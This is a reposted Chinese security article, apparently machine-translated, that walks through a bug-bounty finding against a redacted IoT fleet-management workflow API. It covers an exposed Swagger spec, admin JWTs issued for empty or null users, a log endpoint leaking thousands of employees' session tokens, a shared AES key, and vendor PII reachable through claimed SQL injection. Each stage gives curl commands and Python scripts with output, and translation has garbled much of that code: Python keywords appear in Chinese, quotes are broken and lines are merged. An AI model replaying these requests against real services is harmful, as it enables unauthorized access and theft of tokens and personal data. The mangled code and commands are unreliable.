没有凭证?没问题。我们相信你-越权访问漏洞

admin 2026-05-19 05:09:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档披露了一个物联网车队管理API系统的严重越权漏洞链:公开的Swagger文档暴露501个端点;任意用户可获取管理员JWT令牌;空用户凭证仍能通过验证;日志接口无限制泄露9649名员工会话令牌及敏感操作记录;两个平台共享AES密钥导致令牌可离线解密。建议立即禁用公开API文档、强化身份验证机制、实施最小权限原则并加密存储日志数据。 综合评分: 95 文章分类: 渗透测试,漏洞分析,WEB安全,安全建设,威胁情报


cover_image

没有凭证?没问题。我们相信你-越权访问漏洞

安全狗的自我修养

2026年5月12日 15:19 中国香港

在小说阅读器读本章

去阅读

官网:http://securitytech.cc

没有凭证?没问题。我们相信你。

2026年3月的一个静谧夜晚,我给自己倒了一杯深色饮品,打开一个终端,踏入了一个忘记锁上城门的国度。 他们从不这样做。

王国:

1. [已编辑]-wfapi.[已编辑].com

生产工作流API。物联网车队管理。供应商入驻。商业模式。法律合同。一个帝国的运营中坚力量。 而从外面看——它显得坚不可摧。

看了。

第一阶段——学士的图书馆已解锁

“会读书的人能引领不会读书的人。” 每座城堡都有一位学士。每位学士都拥有一座图书馆。而每座图书馆——只要无人看守——便会告诉你关于其内部王国的一切所需信息。

在API术语中,他们称之为Swagger

1. curl -s "https://[REDACTED]-wfapi.[REDACTED].com/swagger/v2/swagger.json" \

3. -o /dev/null \

5. -w “HTTP:%{http_code}大小:%{size_download}字节”

7. ”

回复:

1. HTTP:200大小:889887字节

889千字节。无需身份验证。无IP限制。无警告。

501个端点——每一条路由、每一个参数、每一个用于识别用户的身份验证机制——都像一封欢迎信般交到了我手中。 而在令牌端点规范内部,蕴含着一种精妙之处:

1. curl -s "https://[REDACTED]-wfapi.[REDACTED].com/swagger/v2/swagger.json"|

3. python3 -c "

5. 导入 json、sys

7. d = json.load(sys.stdin)

9. op = d['paths']['/api/v2/User/Token']['post']

11. 对于p in op['参数']:

13. print(f'参数:{p["name"]} → 位置={p["in"]} 必填={p.get("required",False)}')

15. print(f'总端点数:{len(d["paths"])}')

17. ”

输出:

1. 参数:用户名→位置=头文件必填=否

3. 参数:密码→位置=头文件必填=False

5. 参数:payloadId →位置=标头必填=否

7. 总端点:501

凭据作为 HTTP 标头传递。每个标记为 required=False 的字段。

按Enter键或单击以查看完整尺寸的图片

确认公开 Swagger(无需认证)

他们发布了一份自己王国的501个地点地图,并将其留在了公共道路上。提利昂本会烧掉它。这些人却把它裱起来了。

第二阶段——乌鸦送来了王冠

“永远别忘记你是谁。这个世界不会忘记。” 我清楚自己是什么。我发送了一次请求。

1. curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \

3. -H “用户名:[已屏蔽-测试用户]” \

5. -H “密码:[已屏蔽-测试密码]” \

7. -H “Content-Type: application/json” \

9. | python3 -m json.tool

回复:

1. {

3. “accessToken”:“eyJhbGciOiJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWd…”
4. }

已签名的JWT。由生产服务器签发,具有管理员权限。 我解码了它:

1. curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \

3. -H “用户名:[已屏蔽-测试用户]” \

5. -H “密码:[已屏蔽-测试密码]” \

7. -H “Content-Type: application/json”| python3 -c “

9. 导入 json、sys、base64

11. 数据= json.load(sys.stdin)

13. jwt =数据['accessToken']
14. 有效载荷= jwt.split('.')[1]

16. payload +='='*(4- len(payload)%4)

18. claims = json.loads(base64.b64decode(payload))
19. 用户= json.loads(claims['用户'])
20. print(json.dumps({

22. '用户名':用户['用户名'],

24. '用户ID':用户['用户ID'],

26. “角色”:用户['角色'],

28. “发行人”:claims['iss'],

30. “过期时间”:claims['exp']
31. },缩进=2))

33. ”

已解码:

1. {

3. “用户名”:[已屏蔽-测试用户],

5. “用户ID”:“[已屏蔽ID]”

7. “角色”:["requestmanageradmin"],

9. 发行人:https://[已屏蔽].com,

11. “过期时间”:1774782420

13. }

无速率限制。无验证码。无二次验证。无警报。 requestmanageradmin — 全功能生产管理员 — 第一次尝试时。

按Enter键或单击以查看完整尺寸的图片

获取已签名的管理员JWT(零凭据)

他们建了一座吊桥,把它涂成了金色,却忘了升起它。太壮观了!

第二阶段V——宴席上的幽灵

“一直醉着可不容易。要是容易的话,人人都会这么干。”

然后我开始思索——如果我发送一个代币,而它的身份竟然是……什么都没有呢?

1. NULL_TOKEN=$(curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \

3. -H “用户名:[已屏蔽-空用户]” \

5. -H “密码:[已屏蔽-测试密码]” \

7. -H “Content-Type: application/json” \

9. | python3 -c "import json,sys; print(json.load(sys.stdin)['accessToken'])")
1. echo $NULL_TOKEN | python3 -c "

3. 导入 sys、json、base64

5. jwt = sys.stdin.read().strip()

7. p = jwt.split('.')[1]; p += '=' * (4 - len(p) % 4)

9. c = json.loads(base64.b64decode(p))
10. 打印('用户声明值:', c['User'])
11. ”
1. 输出:用户声明值:空

一枚毫无灵魂的令牌。一封没有寄件人的信。一顶戴着王冠的幽灵。

那王国呢?

1. curl -s "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/application/processList" \

3. -H “accessToken: $NULL_TOKEN” \

5. -H “Accept: application/json”| python3 -m json.tool

HTTP 200:

1. [

3. {"名称":"请求_管理器","显示名称":"请求_管理器"},

5. {"名称":"供应商入驻","显示名称":"供应商入驻"},

7. {"名称":"供应商经理_分配表","显示名称":"供应商经理分配主表"},

9. {"名称":"公告","显示名称":"管理公告"}

11. ]

服务器向一个幽灵鞠了一躬。

中间件验证了JWT签名,却从未验证过其背后是否存在人类——或任何身份。 按Enter键或单击以查看完整尺寸的图片

授权失败:用户为空,已接受JWT

CWE-284 — 不当访问控制。

他们检查了蜡封是否是真的。他们却忘了查看这封信是不是有人写的。 第三阶段——乌鸦:124,548只

“我心中对残疾人、私生子和破碎之物怀有一种特别的柔情。” 我向日志端点发送了一次POST请求。未使用任何筛选器,未指定日期范围,也未设置任何作用域。

1. 令牌=$(curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \

3. -H “用户名:[已屏蔽-测试用户]” \

5. -H “密码:[已屏蔽-测试密码]” \

7. -H “Content-Type: application/json” \

9. | python3 -c "import json,sys; print(json.load(sys.stdin)['accessToken'])")curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/application/GetWFAPILogs" \

11. -H “accesstoken: $TOKEN” \

13. -H “Content-Type: application/json” \

15. -H “Accept: application/json” \

17. -d '{}' \

19. - w "

21. HTTP: %{http_code}  大小: %{size_download} 字节

23. “\”

25. -o 日志_response.json

43兆字节。HTTP 200。无需提问。

1. cat logs_response.json | python3 -c "

3. 导入 json、sys

5. 数据 = json.load(sys.stdin)

7. 日志 = 数据['错误日志']

9. 真实用户 = 集合(l['用户名'] for l in 日志 if l['用户名'] not in ('', '0'))

11. 令牌 = [l['AccessToken'] for l in 日志记录 if l.get('AccessToken','')]
12. print(f'[+] 日志条目总数:          {len(logs)}')

14. print(f'[+] 唯一的真实用户ID:       {len(real_users)}')

16. print(f'[+] 包含会话令牌的条目:{len(tokens)}')

18. print(f'[+] 唯一会话令牌:      {len(set(tokens))}')

20. ”

输出:

1. [+]日志条目总数:124,548

3. [+]唯一的真实用户ID:9,649

5. [+]带会话令牌的条目:85,806

7. [+]唯一会话令牌:13,580个

9. [+]日志中的唯一API路径:507

9,649名真实员工。他们的会话令牌。他们的请求路径。他们的内部引荐URL。他们在平台上所做的一举一动——均已存档,未设范围限制,且任何通过第二阶段审核的人都可完全读取。 一个示例条目:

1. {

3. “日志ID”:“[已屏蔽]”

5. “路径”:“/api/v2/wf/GetLiveEnvironmentWF”

7. “访问令牌”:“[已屏蔽-实时令牌]”

9. “错误信息”:“”

11. “用户名”:“[已屏蔽-用户ID]”

13. “来源网址”:“https://[已屏蔽].com/process_control/cloudtracker”

15. “应用程序名称”:“WF_API”,

17. }

按Enter键或单击以查看完整尺寸的图片

生产日志泄露(16,364条记录,268个有效令牌)

CWE-532 — 日志文件中的敏感信息。

他们写了一本日记。他们把日记本敞开着。他们惊讶居然有人看了它。 阴影中的阴影——盛宴上的其他宾客

在解析日志时,我发现了其他访问者的证据。其他探针已内嵌于存档的请求中:

我不是第一个发现这间房间的人。其他人也曾来过——测试、探查,并在墙上留下痕迹。

而且,该系统一丝不苟地记录了它们中的每一个。供持有令牌的人阅读。

按Enter键或单击以查看完整尺寸的图片

不仅金库是开着的——它还备有一本留言簿。

第四阶段——一钥两界

“在权力的游戏里,你要么赢,要么死。” 在全部13,580个标记中,一种模式浮出水面:两个独立服务的标记之间共享一个44字节的AES块——完全相同。

1. python3 -c "

3. coreapi_token = '[REDACTED-COREAPI-TOKEN]'wfapi_tokens = [

5. '[已屏蔽-WFAPI-令牌-1]',

7. '[已屏蔽-WFAPI-令牌-2]'

9. ]导入base64

11. 共享块 = 'KApsgSQ20OQL/2BYYS5i96BsgM40X33sBUZgtDYlvTm'

13. 对于 t 在 wfapi_tokens 中:

15. 解码 = base64.b64decode(t + '==')

17. print(f'wfapi 令牌字节:{len(decoded)} | 包含共享 AES 块:{shared_block in t}')
18. ”

输出:

1. wfapi 令牌字节:56|包含共享AES块:是

3. wfapi 令牌字节:56|包含共享AES块:是

一个AES密钥。两个平台。13,580个代币。

如果密钥从一项服务中被提取——跨两个平台的所有令牌都将可解密。离线进行。悄无声息地。无需触及任何一台服务器。

CWE-522 — 凭据保护不足。

按Enter键或单击以查看完整尺寸的图片

AES密钥相关性:令牌可解密性

他们给前门和金库用了同一把钥匙。这是兰尼斯特家族的经典失误——甚至兰尼斯特家族最终也从中吸取了教训。

第五阶段——供应商卷轴

“我尽量多认识一些人。你永远不知道哪一位会派上用场。” 最后一扇门。供应商入驻模式。

1. curl -s -X POST \

3. https://[REDACTED]-wfapi.[REDACTED].com/api/v2/application/GetBmRecords?processName=Vendor_Onboarding
4. -H "accessToken: $TOKEN" \

6. -H “Accept: application/json” \

8. -o raw_bm.json \

10. -w “HTTP:%{http_code}”

12. ”

HTTP:200

1. python3 -c "

3. 导入 jsonwith open('raw_bm.json') as f:

5. 数据 = json.load(f) r = 数据[0]

7. bm = json.loads(r['BmJson'])字段 = {}

9. 对于视图 in bm['业务模型对象组'].values():

11. 对于视图中‘BusinessModelObjects’的值:

13. 对于 bmo.get('DataModelObjectGroups', {}).values() 中的每个 dmog:

15. 对于 dmog 中的‘Rows’键对应的值中的每一行:
16. 对于行中的列 in row.get('Columns', []):

18. 对于名称,dmo in col.get('DataModelObjects', {}).items():

20. fields[dmo.get('Name', name)] = dmorequired = {n: d for n, d in fields.items() if d.get('IsRequired') == True}

22. print(f'总字段数:    {len(fields)}')

24. print(f'所需字段:{len(required)}')

26. 对于名称,f 在 required.items() 中:

28. print(f' &nbsp;{f.get("DisplayName",""):<45} → {name}')
29. ”

输出:

1. 总字段:29

3. 必填字段:8供应商公司名称→&nbsp;VO_FV_Det_User_CompName

5. 供应商联系人姓名→&nbsp;VO_FV_Det_User_Fname

7. 供应商联系邮箱→&nbsp;VO_FV_Det_User_Email

9. 供应商联系电话→&nbsp;VO_FV_Det_User_Mphone

11. 名→&nbsp;VO_AV_FName_DMO

13. 姓→&nbsp;VO_AV_LName_DMO

15. 电子邮件→&nbsp;VO_AV_Dmo_电子邮件

商业敏感领域:

1. [VO_FV_英语_通用_项目支出]→“预计支出是多少?”
2. [VO_FV_Eng_Gen_Legal]→“[保密]法律实体会从美国境外采购吗?”

4. [VO_FV_Eng_Gen_Vertical]→“请选择将要在此下销售的垂直类别。”

6. [VO_FV_Eng_Gen_Resell]→“该软件是用于[REDACTED]的网络还是转售?”
7. [VO_FV_Det_User_HiddenRole]→隐藏角色(RoleTypeHidden)

公司名称。电子邮件。电话号码。预计支出金额。隐藏的内部职位。

全部存储在可注射的 [REDACTED]_p1 MySQL 数据库中。 均可通过基于UNION的SQL注入,利用有效令牌实现访问。 按Enter键或单击以查看完整尺寸的图片

供应商PII模式确认(GetBmRecords)

按Enter键或单击以查看完整尺寸的图片

供应商PII模式确认(GetBmRecords)

CWE-306 — 关键功能缺少身份验证。

他们把供应商的机密存放在一间锁已坏的房间里,旁边还放着一个数据库——只要你礼貌地问它,它就会“说话”,而且说得还不对。 按Enter键或单击以查看完整尺寸的图片

通用漏洞评分系统

尾声

提利昂从不需要一把剑。他需要的是一杯葡萄酒、一个安静的角落,以及足够的耐心,去倾听别人说话。我从小便渴望那种东西——不是权力,也不是名声,而是那种安静而令人心碎的清醒:洞悉一切,远超周遭众人。

  • 这条漏洞链并不复杂。它既不需要零日漏洞,也不需要什么稀奇古怪的工具。它所需要的,正是提利昂一直所说的:*

  • 阅读。思考。了解事物。

  • 王国是开放的。我走了进去,记录下了一切,然后走了出来。之后,我上报了此事。

  • 因为目标从来就不是烧毁这座城堡。 而是要悄悄地、精准地向他们表明:那扇大门从未关闭过。

  • 公众号:安全狗的自我修养

  • vx:2207344074

  • http://gitee.com/haidragon

  • http://github.com/haidragon

  • bilibili:haidragonx


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 《没有凭证?没问题。我们相信你-越权访问漏洞》

评论:0   参与:  0